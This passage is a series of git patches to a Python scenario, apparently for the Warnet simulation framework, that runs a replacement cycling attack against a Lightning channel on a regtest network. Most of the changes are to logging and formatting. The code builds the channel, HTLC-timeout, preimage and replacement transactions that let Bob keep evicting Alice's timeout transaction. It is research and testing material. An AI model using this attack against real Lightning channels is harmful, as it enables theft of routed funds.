{bob_preimage_txid[0:7]} Preimage Txn - Seen in the mempool " + "- this should kick out Alice's Timeout Txn") # Check Alice timeout transaction and Bob child tx are not in the mempools anymore assert alice_timeout_txid not in alice.getrawmempool() @@ -381,18 +401,29 @@ def test_replacement_cycling(self): assert bob_child_txid not in bob.getrawmempool() self.log.info( - f"Alice's Timeout Txn {alice_timeout_txid[0:7]} and Bob's Child Txn " - f"{bob_child_txid[0:7]} are not in mempool @ {blockheight_print}") + f"@{last_blockheight} {alice_timeout_txid[0:7]} Timeout Txn " + f"- Not seen in the mempool - Alice's Timeout Txn has been kicked out!") + self.log.info(f"@{last_blockheight} {bob_child_txid[0:7]} Child Txn " + f"- Not seen in the mempool - Bob's Child Txn has been kicked out!") # Generate a higher fee parent transaction and broadcast it to replace Bob preimage tx (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, 10) + self.log.info(f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " + f"Replacement Parent Txn " + f"- Created by: Bob - Has a higher fee") + self.log.info(f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " + f"Replacement Parent Txn " + f"- Signed by: Bob") + self.log.info(f"@{last_blockheight} {bob_child_tx.hash[0:7]} Child Txn - Created by: Bob") + bob_replacement_parent_txid = bob.sendrawtransaction( hexstring=bob_replacement_parent_tx.serialize().hex(), maxfeerate=0) - self.log.info(f"Bob makes Replacement Parent Txn {bob_replacement_parent_txid[0:7]}" - f" (w/ higher fee) and broadcasts it @ {blockheight_print}") + self.log.info( + f"@{last_blockheight} {bob_replacement_parent_txid[0:7]} Replacement Parent Txn " + f"- Broadcasted by: Bob") self.sync_all() @@ -401,25 +432,30 @@ def test_replacement_cycling(self): assert bob_preimage_txid not in bob.getrawmempool() assert bob_replacement_parent_txid in alice.getrawmempool() assert bob_replacement_parent_txid in alice.getrawmempool() - self.log.info(f"raw_mempool: {alice.getrawmempool()}") + self.log.info(f"@{last_blockheight} Raw_mempool: {alice.getrawmempool()}") # Check there is only 1 transaction (bob_replacement_parent_txid) in the mempools assert_equal(len(alice.getrawmempool()), 1) assert_equal(len(bob.getrawmempool()), 1) - self.log.info(f"Bob's Preimage Txn not in mempool @ {blockheight_print}") - self.log.info(f"Bob's Replacement Parent Txn is in mempool @ {blockheight_print}") + self.log.info(f"@{last_blockheight} {bob_preimage_txid[0:7]} Preimage Txn " + f"- Not seen in the mempool") + self.log.info(f"@{last_blockheight} {bob_replacement_parent_txid[0:7]} " + f"Replacement Parent Txn - Seen in the mempool") # A block is mined and bob replacement parent should have confirms. self.generate(alice, 1) last_blockhash = alice.getbestblockhash() block = alice.getblock(last_blockhash) - blockheight_print = block['height'] + last_blockheight = block['height'] + + self.log.info(f"@{last_blockheight} - Mined blocks") assert_equal(len(alice.getrawmempool()), 0) assert_equal(len(bob.getrawmempool()), 0) - self.log.info(f"Mined Bob's Replacement Parent Txn @ {blockheight_print}") + self.log.info(f" @{last_blockheight} {bob_replacement_parent_txid[0:7]} " + f"Replacement Parent Txn - Mined") # Alice can re-broadcast her HTLC-timeout as the offered output has not been claimed # Note the HTLC-timeout _txid_ must be modified to bypass p2p filters. Here we +1 the @@ -428,18 +464,18 @@ def test_replacement_cycling(self): 49.99998 * COIN, funding_redeemscript, 2, last_blockheight + 20, hashlock, 0x2, bob_parent_tx) + + self.log.info(f"@{last_blockheight} {alice_timeout_tx_2.hash[0:7]} Timeout Txn 2 " + f"- Created by: Alice - Alice tweaks the nsequence (and therefore txid) " + f"of her original Timeout Txn, but where did she get Bob's key to do this?") + alice_timeout_txid_2 = alice.sendrawtransaction( hexstring=alice_timeout_tx_2.serialize().hex(), maxfeerate=0) - self.sync_all() - - last_blockhash = alice.getbestblockhash() - block = alice.getblock(last_blockhash) - blockheight_print = block['height'] + self.log.info(f"@{last_blockheight} {alice_timeout_txid_2[0:7]} Timeout Txn 2 " + f"- Broadcasted by: Alice") - self.log.info( - f"Alice tweaks nSequence & re-broadcasts Timeout txn (output has not been claimed yet) " - f"@ {blockheight_print}") + self.sync_all() assert alice_timeout_txid_2 in alice.getrawmempool() assert alice_timeout_txid_2 in bob.getrawmempool() @@ -450,42 +486,47 @@ def test_replacement_cycling(self): bob_preimage_tx_2 = generate_preimage_tx(49.9998 * COIN, 4, alice_seckey, bob_seckey, hashlock, ab_commitment_tx, bob_parent_tx_2) - self.log.info( - f"Bob re-makes a Parent Txn & Child Txn (Coin_3) and a new Preimage Txn " - f"(spends Parent Txn) @ {blockheight_print}") + self.log.info(f"@{last_blockheight} {bob_parent_tx_2.hash[0:7]} Parent Txn 2 " + f"- Created by: Bob - uses Coin_3") + self.log.info(f"@{last_blockheight} {bob_child_tx_2.hash[0:7]} Child Txn 2 " + f"- Created by: Bob - uses Coin_3") + self.log.info(f"@{last_blockheight} {bob_preimage_tx_2} Preimage Txn 2 - Created by: Bob") + self.log.info(f"@{last_blockheight} {bob_preimage_tx_2} Preimage Txn 2 " + f"- Funded by: [{ab_commitment_txid[0:7]} Commitment Txn]") - _bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), + bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), maxfeerate=0) - self.sync_all() + self.log.info(f"@{last_blockheight} {bob_parent_txid_2[0:7]} Parent Txn 2 " + f"- Broadcased by: Bob") - self.log.info( - f"Bob broadcasts Parent Txn @ {blockheight_print}") + self.sync_all() - _bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), + bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), maxfeerate=0) - self.sync_all() + self.log.info(f"@{last_blockheight} {bob_child_txid_2[0:7]} Child Txn 2 " + f"- Broadcasted by: Bob") - self.log.info( - f"Bob broadcasts Child Txn @ {blockheight_print}") + self.sync_all() bob_preimage_txid_2 = bob.sendrawtransaction(hexstring=bob_preimage_tx_2.serialize().hex(), maxfeerate=0) - self.sync_all() + self.log.info(f"@{last_blockheight} {bob_preimage_txid_2[0:7]} Preimage Txn 2 " + f"- Broadcasted by Bob") - self.log.info( - f"Bob broadcasts Preimage Txn @ {blockheight_print}") + self.sync_all() assert bob_preimage_txid_2 in alice.getrawmempool() assert bob_preimage_txid_2 in bob.getrawmempool() assert alice_timeout_txid_2 not in alice.getrawmempool() assert alice_timeout_txid_2 not in bob.getrawmempool() - self.log.info( - f"Bob's Preimage Txn is in the mempool; Alice's Timeout Txn is not @ " - f"{blockheight_print}") + self.log.info(f"@{last_blockheight} {bob_preimage_txid_2[0:7]} Preimage Txn 2 " + f"- Seen in the mempool") + self.log.info(f"@{last_blockheight} {alice_timeout_txid_2[0:7]} Timeout Txn 2 " + f"- Not seen in the mempool") # Bob can repeat this replacement cycling trick until an inbound HTLC of Alice expires and # double-spend her routed HTLCs. From 3dadf47e1a6a467c807eb0e0a92d2ebe3e405d4e Mon Sep 17 00:00:00 2001 From: Grant Date: Sun, 16 Jun 2024 13:59:56 -0500 Subject: [PATCH 08/18] add sync_all() --- src/scenarios/replacement_cycling.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index cd9bf9754..e098cd5e3 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -449,6 +449,8 @@ def test_replacement_cycling(self): block = alice.getblock(last_blockhash) last_blockheight = block['height'] + self.sync_all() + self.log.info(f"@{last_blockheight} - Mined blocks") assert_equal(len(alice.getrawmempool()), 0) From cab4a41925a3db9c96e6445504c3c6b3be5300cf Mon Sep 17 00:00:00 2001 From: Grant Date: Thu, 13 Jun 2024 14:33:18 -0500 Subject: [PATCH 09/18] fixup spaces in logging --- src/scenarios/replacement_cycling.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index e098cd5e3..e7e173104 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -256,7 +256,7 @@ def test_replacement_cycling(self): assert ab_funding_txid in alice.getrawmempool() assert ab_funding_txid in bob.getrawmempool() - alice.log.info(f" @{last_blockheight} {ab_funding_txid[0:7]} Funding Txn " + alice.log.info(f"@{last_blockheight} {ab_funding_txid[0:7]} Funding Txn " "- Seen in the mempool") # We mine one block the Alice - Bob channel is opened. @@ -268,7 +268,7 @@ def test_replacement_cycling(self): block = alice.getblock(last_blockhash) last_blockheight = block['height'] - self.log.info(f" @{last_blockheight} {ab_funding_txid[0:7]} Funding Txn - Mined") + self.log.info(f"@{last_blockheight} {ab_funding_txid[0:7]} Funding Txn - Mined") funding_redeemscript = get_funding_redeemscript(alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) @@ -456,7 +456,7 @@ def test_replacement_cycling(self): assert_equal(len(alice.getrawmempool()), 0) assert_equal(len(bob.getrawmempool()), 0) - self.log.info(f" @{last_blockheight} {bob_replacement_parent_txid[0:7]} " + self.log.info(f"@{last_blockheight} {bob_replacement_parent_txid[0:7]} " f"Replacement Parent Txn - Mined") # Alice can re-broadcast her HTLC-timeout as the offered output has not been claimed From f849602b046d88e5d9579a0603124c6ba15d9ce3 Mon Sep 17 00:00:00 2001 From: Grant Date: Wed, 12 Jun 2024 01:31:21 -0500 Subject: [PATCH 10/18] fix indentation --- src/scenarios/replacement_cycling.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index e7e173104..941ad23ae 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -497,7 +497,7 @@ def test_replacement_cycling(self): f"- Funded by: [{ab_commitment_txid[0:7]} Commitment Txn]") bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), - maxfeerate=0) + maxfeerate=0) self.log.info(f"@{last_blockheight} {bob_parent_txid_2[0:7]} Parent Txn 2 " f"- Broadcased by: Bob") @@ -505,7 +505,7 @@ def test_replacement_cycling(self): self.sync_all() bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), - maxfeerate=0) + maxfeerate=0) self.log.info(f"@{last_blockheight} {bob_child_txid_2[0:7]} Child Txn 2 " f"- Broadcasted by: Bob") From b19a942a28fce0569a054789dcebbefb7a1a66be Mon Sep 17 00:00:00 2001 From: Grant Date: Wed, 12 Jun 2024 01:28:52 -0500 Subject: [PATCH 11/18] align alice timeout heights --- src/scenarios/replacement_cycling.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 941ad23ae..d478afe22 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -286,7 +286,7 @@ def test_replacement_cycling(self): hashlock = hash160(b'a' * 32) - n_locktime = last_blockheight + 20 + alice_timeout_height = last_blockheight + 20 (ab_commitment_tx, alice_timeout_tx, @@ -297,7 +297,7 @@ def test_replacement_cycling(self): 49.99998 * COIN, funding_redeemscript, 2, - n_locktime, + alice_timeout_height, hashlock, 0x1, bob_parent_tx) @@ -311,7 +311,7 @@ def test_replacement_cycling(self): f"- Funded by: [{ab_commitment_tx.hash[0:7]} Commitment Txn]") self.log.info(f"@{last_blockheight} {alice_timeout_tx.hash[0:7]} Alice Timeout Txn " f"- Signed by: Alice & Bob " - f"- After nLockTime ({n_locktime}), Alice can claim") + f"- After nLockTime ({alice_timeout_height}), Alice can claim") self.log.info(f"@{last_blockheight} {bob_preimage_tx.hash[0:7]} Bob Preimage Txn " f"- Funded by: [{ab_commitment_tx.hash[0:7]} Commitment Txn, " f"{bob_parent_tx.hash[0:7]} Parent Txn]") @@ -464,7 +464,7 @@ def test_replacement_cycling(self): # nSequence. (_, alice_timeout_tx_2, _) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, 49.99998 * COIN, funding_redeemscript, 2, - last_blockheight + 20, hashlock, 0x2, + alice_timeout_height, hashlock, 0x2, bob_parent_tx) self.log.info(f"@{last_blockheight} {alice_timeout_tx_2.hash[0:7]} Timeout Txn 2 " From b4c16e3d73bf3fec2cc5f5d5c19f13df6411eb46 Mon Sep 17 00:00:00 2001 From: Grant Date: Wed, 12 Jun 2024 01:40:25 -0500 Subject: [PATCH 12/18] specify hash --- src/scenarios/replacement_cycling.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index d478afe22..aaa3cf489 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -492,8 +492,9 @@ def test_replacement_cycling(self): f"- Created by: Bob - uses Coin_3") self.log.info(f"@{last_blockheight} {bob_child_tx_2.hash[0:7]} Child Txn 2 " f"- Created by: Bob - uses Coin_3") - self.log.info(f"@{last_blockheight} {bob_preimage_tx_2} Preimage Txn 2 - Created by: Bob") - self.log.info(f"@{last_blockheight} {bob_preimage_tx_2} Preimage Txn 2 " + self.log.info(f"@{last_blockheight} {bob_preimage_tx_2.hash[0:7]} Preimage Txn 2 " + f"- Created by: Bob") + self.log.info(f"@{last_blockheight} {bob_preimage_tx_2.hash[0:7]} Preimage Txn 2 " f"- Funded by: [{ab_commitment_txid[0:7]} Commitment Txn]") bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), From 526f8a6cfd27e7804c54cb0e97d039bacec293e8 Mon Sep 17 00:00:00 2001 From: Grant Date: Wed, 12 Jun 2024 14:29:46 -0500 Subject: [PATCH 13/18] fixup spelling lints --- src/scenarios/replacement_cycling.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index aaa3cf489..936d75f45 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -501,7 +501,7 @@ def test_replacement_cycling(self): maxfeerate=0) self.log.info(f"@{last_blockheight} {bob_parent_txid_2[0:7]} Parent Txn 2 " - f"- Broadcased by: Bob") + f"- Broadcasted by: Bob") self.sync_all() @@ -542,7 +542,7 @@ def test_replacement_cycling(self): assert bob_preimage_txid_2 not in bob.getrawmempool() def run_test(self): - address = "bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka" + address = "bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka" # noqa self.generatetoaddress(self.nodes[0], nblocks=101, address=address) From ad27a749305ddab8ca4c3fab6fe4c09f18665ae6 Mon Sep 17 00:00:00 2001 From: Grant Date: Thu, 13 Jun 2024 15:12:05 -0500 Subject: [PATCH 14/18] show mempool --- src/scenarios/replacement_cycling.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 936d75f45..5d182992c 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -541,6 +541,8 @@ def test_replacement_cycling(self): assert bob_preimage_txid_2 not in alice.getrawmempool() assert bob_preimage_txid_2 not in bob.getrawmempool() + self.log.info(f"@{last_blockheight} Raw_mempool: {alice.getrawmempool()}") + def run_test(self): address = "bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka" # noqa From fa4bf7a2c9f3fa9dbbbd33c784430899cef6f2a9 Mon Sep 17 00:00:00 2001 From: Grant Date: Thu, 13 Jun 2024 15:12:20 -0500 Subject: [PATCH 15/18] log funding coins --- src/scenarios/replacement_cycling.py | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 5d182992c..51086d7d5 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -242,6 +242,8 @@ def test_replacement_cycling(self): ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) + self.log.info(f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " + f"- Funded by: [{coin_1['txid'][0:7]} Coin 1]") alice.log.info(f"@{last_blockheight} {ab_funding_tx.hash[0:7]} Funding Txn " "- Signed by: Alice & Bob " "- Alice/Bob 2/2 multisig") @@ -280,6 +282,8 @@ def test_replacement_cycling(self): (bob_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, 1) + self.log.info(f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn " + f"- Funded by: [{coin_2['txid'][0:7]} Coin_2]") self.log.info(f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn - Created by: Bob") self.log.info(f"@{last_blockheight} {bob_parent_tx.hash[0:7]} Parent Txn - Signed by: Bob") self.log.info(f"@{last_blockheight} {bob_child_tx.hash[0:7]} Child Txn - Created by: Bob") @@ -410,11 +414,11 @@ def test_replacement_cycling(self): (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, 10) self.log.info(f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " - f"Replacement Parent Txn " - f"- Created by: Bob - Has a higher fee") + f"Replacement Parent Txn - Funded by: [{coin_2['txid'][0:7]} Coin_2]") self.log.info(f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " - f"Replacement Parent Txn " - f"- Signed by: Bob") + f"Replacement Parent Txn - Created by: Bob - Has a higher fee") + self.log.info(f"@{last_blockheight} {bob_replacement_parent_tx.hash[0:7]} " + f"Replacement Parent Txn - Signed by: Bob") self.log.info(f"@{last_blockheight} {bob_child_tx.hash[0:7]} Child Txn - Created by: Bob") bob_replacement_parent_txid = bob.sendrawtransaction( @@ -488,10 +492,12 @@ def test_replacement_cycling(self): bob_preimage_tx_2 = generate_preimage_tx(49.9998 * COIN, 4, alice_seckey, bob_seckey, hashlock, ab_commitment_tx, bob_parent_tx_2) + self.log.info(f"@{last_blockheight} {bob_parent_tx_2.hash[0:7]} " + f"Parent Txn 2 - Funded by: [{coin_3['txid'][0:7]} Coin_3]") self.log.info(f"@{last_blockheight} {bob_parent_tx_2.hash[0:7]} Parent Txn 2 " - f"- Created by: Bob - uses Coin_3") + f"- Created by: Bob") self.log.info(f"@{last_blockheight} {bob_child_tx_2.hash[0:7]} Child Txn 2 " - f"- Created by: Bob - uses Coin_3") + f"- Created by: Bob") self.log.info(f"@{last_blockheight} {bob_preimage_tx_2.hash[0:7]} Preimage Txn 2 " f"- Created by: Bob") self.log.info(f"@{last_blockheight} {bob_preimage_tx_2.hash[0:7]} Preimage Txn 2 " From 56919582152e4b820f18319a6aeb9a551677a8ef Mon Sep 17 00:00:00 2001 From: Grant Date: Sun, 16 Jun 2024 14:05:42 -0500 Subject: [PATCH 16/18] add attribution --- src/scenarios/replacement_cycling.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 51086d7d5..26c52644e 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -3,7 +3,7 @@ # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # -# https://github.com/ariard/bitcoin/blob/30f5d5b270e4ff195e8dcb9ef6b7ddcc5f6a1bf2/test/functional/mempool_replacement_cycling.py#L5 +# Original: https://github.com/ariard/bitcoin/blob/30f5d5b270e4ff195e8dcb9ef6b7ddcc5f6a1bf2/test/functional/mempool_replacement_cycling.py#L5 # noqa """Test replacement cycling attacks against Lightning channels""" @@ -53,7 +53,7 @@ def cli_help(): - return "Run a replacement cycling attack" + return "Run a replacement cycling attack - based on ariard's work" def get_funding_redeemscript(funder_pubkey, fundee_pubkey): From a7e7ce25f3f875a3b4e25362793f61bd401e7825 Mon Sep 17 00:00:00 2001 From: Grant Date: Wed, 17 Jul 2024 15:38:46 -0500 Subject: [PATCH 17/18] make ruff happy --- src/scenarios/replacement_cycling.py | 558 +++++++++++++++++---------- 1 file changed, 351 insertions(+), 207 deletions(-) diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py index 26c52644e..c73ac12c5 100644 --- a/src/scenarios/replacement_cycling.py +++ b/src/scenarios/replacement_cycling.py @@ -8,48 +8,39 @@ """Test replacement cycling attacks against Lightning channels""" -from test_framework.key import ( - ECKey -) - +from test_framework.key import ECKey from test_framework.messages import ( + COIN, + COutPoint, CTransaction, CTxIn, CTxInWitness, CTxOut, - COutPoint, sha256, - COIN, -) - -from test_framework.util import ( - assert_equal ) - from test_framework.script import ( - CScript, - hash160, - OP_HASH160, - OP_EQUAL, - OP_ELSE, - OP_ENDIF, + OP_0, + OP_2, + OP_CHECKMULTISIG, OP_CHECKSIG, - OP_SWAP, - OP_SIZE, - OP_NOTIF, OP_DROP, - OP_CHECKMULTISIG, + OP_ELSE, + OP_ENDIF, + OP_EQUAL, OP_EQUALVERIFY, - OP_0, - OP_2, + OP_HASH160, + OP_NOTIF, + OP_SIZE, + OP_SWAP, OP_TRUE, - SegwitV0SignatureHash, SIGHASH_ALL, + CScript, + SegwitV0SignatureHash, + hash160, ) - -from warnet.test_framework_bridge import WarnetTestFramework - +from test_framework.util import assert_equal from test_framework.wallet import MiniWallet +from warnet.test_framework_bridge import WarnetTestFramework def cli_help(): @@ -58,7 +49,8 @@ def cli_help(): def get_funding_redeemscript(funder_pubkey, fundee_pubkey): return CScript( - [OP_2, funder_pubkey.get_bytes(), fundee_pubkey.get_bytes(), OP_2, OP_CHECKMULTISIG]) + [OP_2, funder_pubkey.get_bytes(), fundee_pubkey.get_bytes(), OP_2, OP_CHECKMULTISIG] + ) def get_anchor_single_key_redeemscript(pubkey): @@ -71,7 +63,7 @@ def generate_funding_chan(wallet, coin, funder_pubkey, fundee_pubkey) -> CTransa script_pubkey = CScript([OP_0, witness_program]) funding_tx = CTransaction() - funding_tx.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"")) + funding_tx.vin.append(CTxIn(COutPoint(int(coin["txid"], 16), coin["vout"]), b"")) funding_tx.vout.append(CTxOut(int(49.99998 * COIN), script_pubkey)) funding_tx.rehash() @@ -87,7 +79,7 @@ def generate_parent_child_tx(wallet, coin, sat_per_vbyte): junk_scriptpubkey = CScript([OP_0, sha256(junk_script)]) junk_parent = CTransaction() - junk_parent.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"")) + junk_parent.vin.append(CTxIn(COutPoint(int(coin["txid"], 16), coin["vout"]), b"")) junk_parent.vout.append(CTxOut(int(49.99998 * COIN - junk_parent_fee), junk_scriptpubkey)) wallet.sign_tx(junk_parent) @@ -98,7 +90,8 @@ def generate_parent_child_tx(wallet, coin, sat_per_vbyte): child_tx = CTransaction() child_tx.vin.append(CTxIn(COutPoint(int(junk_parent.hash, 16), 0), b"", 0)) child_tx.vout.append( - CTxOut(int(49.99998 * COIN - (junk_parent_fee + child_tx_fee)), junk_scriptpubkey)) + CTxOut(int(49.99998 * COIN - (junk_parent_fee + child_tx_fee)), junk_scriptpubkey) + ) child_tx.wit.vtxinwit.append(CTxInWitness()) child_tx.wit.vtxinwit[0].scriptWitness.stack = [junk_script] @@ -107,14 +100,39 @@ def generate_parent_child_tx(wallet, coin, sat_per_vbyte): return junk_parent, child_tx -def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seckey, hashlock, - commitment_tx, preimage_parent_tx): +def generate_preimage_tx( + input_amount, + sat_per_vbyte, + funder_seckey, + fundee_seckey, + hashlock, + commitment_tx, + preimage_parent_tx, +): commitment_fee = 158 * 2 # Old sat per vbyte - witness_script = CScript([fundee_seckey.get_pubkey().get_bytes(), OP_SWAP, OP_SIZE, 32, - OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, - funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, - OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) + witness_script = CScript( + [ + fundee_seckey.get_pubkey().get_bytes(), + OP_SWAP, + OP_SIZE, + 32, + OP_EQUAL, + OP_NOTIF, + OP_DROP, + 2, + OP_SWAP, + funder_seckey.get_pubkey().get_bytes(), + 2, + OP_CHECKMULTISIG, + OP_ELSE, + OP_HASH160, + hashlock, + OP_EQUALVERIFY, + OP_CHECKSIG, + OP_ENDIF, + ] + ) spend_script = CScript([OP_TRUE]) spend_scriptpubkey = CScript([OP_0, sha256(spend_script)]) @@ -124,15 +142,17 @@ def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seck receiver_preimage.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", 0)) receiver_preimage.vin.append(CTxIn(COutPoint(int(preimage_parent_tx.hash, 16), 0), b"", 0)) receiver_preimage.vout.append( - CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) + CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey) + ) - sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, - commitment_tx.vout[0].nValue) - fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + sig_hash = SegwitV0SignatureHash( + witness_script, receiver_preimage, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue + ) + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b"\x01" # Spend the commitment transaction HTLC output receiver_preimage.wit.vtxinwit.append(CTxInWitness()) - receiver_preimage.wit.vtxinwit[0].scriptWitness.stack = [fundee_sig, b'a' * 32, witness_script] + receiver_preimage.wit.vtxinwit[0].scriptWitness.stack = [fundee_sig, b"a" * 32, witness_script] # Spend the parent transaction OP_TRUE output junk_script = CScript([OP_TRUE]) @@ -143,13 +163,41 @@ def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seck return receiver_preimage -def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, input_amount, - input_script, sat_per_vbyte, timelock, hashlock, nsequence, - preimage_parent_tx): - witness_script = CScript([fundee_seckey.get_pubkey().get_bytes(), OP_SWAP, OP_SIZE, 32, - OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, - funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, - OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) +def create_chan_state( + funding_txid, + funding_vout, + funder_seckey, + fundee_seckey, + input_amount, + input_script, + sat_per_vbyte, + timelock, + hashlock, + nsequence, + preimage_parent_tx, +): + witness_script = CScript( + [ + fundee_seckey.get_pubkey().get_bytes(), + OP_SWAP, + OP_SIZE, + 32, + OP_EQUAL, + OP_NOTIF, + OP_DROP, + 2, + OP_SWAP, + funder_seckey.get_pubkey().get_bytes(), + 2, + OP_CHECKMULTISIG, + OP_ELSE, + OP_HASH160, + hashlock, + OP_EQUALVERIFY, + OP_CHECKSIG, + OP_ENDIF, + ] + ) witness_program = sha256(witness_script) script_pubkey = CScript([OP_0, witness_program]) @@ -160,11 +208,11 @@ def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, commitment_tx.vout.append(CTxOut(int(input_amount - 158 * sat_per_vbyte), script_pubkey)) sig_hash = SegwitV0SignatureHash(input_script, commitment_tx, 0, SIGHASH_ALL, int(input_amount)) - funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b'\x01' - fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b"\x01" + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b"\x01" commitment_tx.wit.vtxinwit.append(CTxInWitness()) - commitment_tx.wit.vtxinwit[0].scriptWitness.stack = [b'', funder_sig, fundee_sig, input_script] + commitment_tx.wit.vtxinwit[0].scriptWitness.stack = [b"", funder_sig, fundee_sig, input_script] commitment_tx.rehash() spend_script = CScript([OP_TRUE]) @@ -173,18 +221,25 @@ def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, timeout_fee = 158 * sat_per_vbyte offerer_timeout = CTransaction() offerer_timeout.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", nsequence)) - offerer_timeout.vout.append(CTxOut(int(input_amount - (commitment_fee + timeout_fee)), - spend_scriptpubkey)) + offerer_timeout.vout.append( + CTxOut(int(input_amount - (commitment_fee + timeout_fee)), spend_scriptpubkey) + ) offerer_timeout.nLockTime = timelock - sig_hash = SegwitV0SignatureHash(witness_script, offerer_timeout, 0, SIGHASH_ALL, - commitment_tx.vout[0].nValue) - funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b'\x01' - fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + sig_hash = SegwitV0SignatureHash( + witness_script, offerer_timeout, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue + ) + funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b"\x01" + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b"\x01" offerer_timeout.wit.vtxinwit.append(CTxInWitness()) - offerer_timeout.wit.vtxinwit[0].scriptWitness.stack = [b'', fundee_sig, funder_sig, b'', - witness_script] + offerer_timeout.wit.vtxinwit[0].scriptWitness.stack = [ + b"", + fundee_sig, + funder_sig, + b"", + witness_script, + ] 